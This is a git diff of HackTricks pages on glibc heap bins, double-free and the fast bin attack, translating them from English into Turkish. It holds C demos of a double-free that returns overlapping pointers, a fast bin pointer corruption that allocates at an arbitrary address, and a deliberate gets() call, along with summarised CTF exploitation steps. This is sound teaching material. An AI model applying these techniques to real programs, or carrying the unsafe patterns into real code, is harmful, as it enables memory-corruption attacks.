Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
62 binin her biri **aynı boyutta parçalar** içerecektir: 16, 24, ... (32 bit'te maksimum boyut 504 bayt ve 64 bit'te 1024 bayttır). Bu, bir alanın tahsis edilmesi gereken binin bulunmasında ve bu listelerdeki girişlerin eklenip çıkarılmasında hız sağlar.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
Küçük binin boyutu, binin indeksine göre şu şekilde hesaplanır:
- En küçük boyut: 2\*4\*indeks (örneğin, indeks 5 -> 40)
- En büyük boyut: 2\*8\*indeks (örneğin, indeks 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Küçük ve büyük kutular arasında seçim yapmak için fonksiyon:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Küçük bir parça örneği ekle</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Not edin ki, aynı boyutta 9 parça ayırıp serbest bıraktığımızda, bunlar **tcache'i doldurur** ve sekizincisi **fastbin için çok büyük olduğu** için sıralanmamış kutuda saklanır ve dokuzuncusu serbest bırakılmadığı için dokuzuncu ve sekizinci **üst parçayla birleştirilmez**. Sonra 0x110 boyutunda daha büyük bir parça ayırdığımızda, **sıralanmamış kutudaki parça küçük kutuya geçer**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın küçük kutuda olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### Büyük kutular
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
Küçük kutulardan farklı olarak, her **büyük kutu bir dizi parça boyutunu yönetir**. Bu daha esnektir ve sistemin **çeşitli boyutları** ayrı bir kutuya ihtiyaç duymadan karşılamasına olanak tanır.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
Bir bellek ayırıcıda, büyük kutular küçük kutuların bittiği yerden başlar. Büyük kutuların aralıkları giderek daha büyük hale gelir; bu, ilk kutunun 512 ile 576 byte arasındaki parçaları kapsayabileceği, bir sonraki kutunun ise 576 ile 640 byte arasındaki parçaları kapsayabileceği anlamına gelir. Bu desen devam eder ve en büyük kutu 1MB üzerindeki tüm parçaları içerir.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
Büyük kutular, en iyi uyumu bulmak için **değişen parça boyutları listesini sıralayıp aramak zorunda olduklarından** küçük kutulara kıyasla daha yavaş çalışır. Bir parça büyük bir kutuya eklendiğinde, sıralanması gerekir ve bellek ayrıldığında sistem doğru parçayı bulmalıdır. Bu ek iş, onları **daha yavaş** hale getirir, ancak büyük ayırmalar küçük olanlardan daha az yaygın olduğundan, bu kabul edilebilir bir değiş tokuştur.
There are:
Şunlar vardır:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 64B aralığında 32 kutu (küçük kutularla çakışır)
- 512B aralığında 16 kutu (küçük kutularla çakışır)
- 4096B aralığında 8 kutu (kısmen küçük kutularla çakışır)
- 32768B aralığında 4 kutu
- 262144B aralığında 2 kutu
- Kalan boyutlar için 1 kutu
<details>
<summary>Large bin sizes code</summary>
<summary>Büyük kutu boyutları kodu</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Büyük bir örnek ekle</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2 büyük tahsis yapılır, ardından biri serbest bırakılır (bunu sıralanmamış kutuya koyar) ve daha büyük bir tahsis yapılır (serbest olanı sıralanmamış kutudan büyük kutuya taşır).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın büyük kutuda olduğunu görebilirsiniz:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
### Üst Parça
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Temelde, bu mevcut olan tüm heap'i içeren bir parça. Bir malloc gerçekleştirildiğinde, kullanılacak herhangi bir boş parça yoksa, bu üst parça boyutunu azaltarak gerekli alanı sağlar.\
Üst Parçaya işaretçi `malloc_state` yapısında saklanır.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
Ayrıca, başlangıçta, sıralanmamış parçayı üst parça olarak kullanmak mümkündür.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Üst Parça örneğini gözlemleyin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
`main`'in `ret` opcode'unda bir kesme noktası ile derleyip hata ayıkladıktan sonra, malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü ve bunların parçaları olduğunu gördüm:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Üst parça `0xaaaaaaac1ae0` adresinde olduğu görülebilir. Bu sürpriz değil çünkü son tahsis edilen parça `0xaaaaaaac12a0` adresindeydi ve boyutu `0x410` idi ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Ayrıca, Üst parçanın uzunluğunu parça başlığında görmek de mümkündür:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Son Kalan
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
malloc kullanıldığında ve bir parça bölündüğünde (örneğin, sıralanmamış kutudan veya üst parçadan), bölünen parçanın geri kalanından oluşturulan parçaya Son Kalan denir ve işaretçisi `malloc_state` yapısında saklanır.
## Allocation Flow
## Tahsis Akışı
Check out:
Göz atın:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Serbest Akışı
Check out:
Göz atın:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Yığın Fonksiyonları Güvenlik Kontrolleri
Check the security checks performed by heavily used functions in heap in:
Yığında yaygın olarak kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Referanslar
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

158
src/binary-exploitation/libc-heap/double-free.md
View File

@ -2,91 +2,89 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Eğer bir bellek bloğunu birden fazla kez serbest bırakırsanız, bu, ayırıcı verilerini bozabilir ve saldırılara kapı açabilir. İşte bu nasıl olur: bir bellek bloğunu serbest bıraktığınızda, bu, serbest parçaların bir listesine geri döner (örneğin, "hızlı kutu"). Eğer aynı bloğu ardışık olarak iki kez serbest bırakırsanız, ayırıcı bunu tespit eder ve bir hata fırlatır. Ancak eğer **araya başka bir parça serbest bırakırsanız, çift serbest bırakma kontrolü atlanır**, bu da bozulmaya neden olur.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Example:
Şimdi, yeni bellek talep ettiğinizde ( `malloc` kullanarak), ayırıcı size **iki kez serbest bırakılmış bir bloğu** verebilir. Bu, iki farklı işaretçinin aynı bellek konumuna işaret etmesine yol açabilir. Eğer bir saldırgan bu işaretçilerden birini kontrol ederse, o bellek içeriğini değiştirebilir, bu da güvenlik sorunlarına neden olabilir veya hatta kod çalıştırmalarına izin verebilir.
Örnek:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
Bu örnekte, tcache'i birkaç serbest bırakılmış parça (7) ile doldurduktan sonra, kod **`h` parçasını serbest bırakır, ardından `i` parçasını serbest bırakır ve sonra tekrar `h` parçasını serbest bırakır, bu da bir double free'e neden olur** (aynı zamanda Fast Bin dup olarak da bilinir). Bu, yeniden tahsis ederken üst üste binen bellek adresleri alma olasılığını açar, bu da iki veya daha fazla işaretçinin aynı bellek konumuna işaret edebileceği anlamına gelir. Bir işaretçi aracılığıyla verileri manipüle etmek, diğerini etkileyebilir ve bu da kritik bir güvenlik riski ve potansiyel bir istismar olanağı yaratır.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Bunu yürütürken, **`i1` ve `i2`'nin aynı adresi aldığını** not edin:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>Başlangıç tahsisleri:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
Yeniden tahsislerden sonra:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Örnekler
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Sadece `0x70` boyutunun dışında Fast-Bin boyutunda parçalar tahsis edebiliriz, bu da olağan `__malloc_hook` üzerine yazmayı engeller.
- Bunun yerine, Fast Bin dup için hedef olarak `0x56` ile başlayan PIE adreslerini kullanıyoruz (1/2 şansı).
- PIE adreslerinin saklandığı yerlerden biri `main_arena` içindedir, bu Glibc içindedir ve `__malloc_hook`'a yakındır.
- Orada bir parça tahsis etmek için `main_arena`'nın belirli bir ofsetini hedef alıyoruz ve `__malloc_hook`'a ulaşana kadar parçalar tahsis etmeye devam ediyoruz.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Tcache kutularını ve bir null-byte taşmasını kullanarak, bir double-free durumu elde edebiliriz:
- `0x110` boyutunda üç parça tahsis ediyoruz (`A`, `B`, `C`)
- `B`'yi serbest bırakıyoruz
- `A`'yı serbest bırakıyoruz ve null-byte taşmasını kullanmak için tekrar tahsis ediyoruz
- Artık `B`'nin boyut alanı `0x100`, `0x111` yerine, bu yüzden tekrar serbest bırakabiliriz
- Aynı adrese işaret eden `0x110` boyutunda bir Tcache-bin ve `0x100` boyutunda bir Tcache-binimiz var. Yani bir double free durumumuz var.
- [Tcache poisoning](tcache-bin-attack.md) kullanarak double free'i değerlendiriyoruz.
## References
## Referanslar
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

152
src/binary-exploitation/libc-heap/fast-bin-attack.md
View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
For more information about what is a fast bin check this page:
Fast bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Fast bin tek bağlı bir liste olduğu için, diğer binlere göre çok daha az koruma vardır ve sadece **serbest bırakılmış bir fast bin** parçasındaki bir adresi **değiştirmek**, **herhangi bir bellek adresinde daha sonra bir parça tahsis etmek** için yeterlidir.
Özetle:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Tam bir örneği [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) adresindeki çok iyi açıklanmış bir kodda bulabilirsiniz:
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
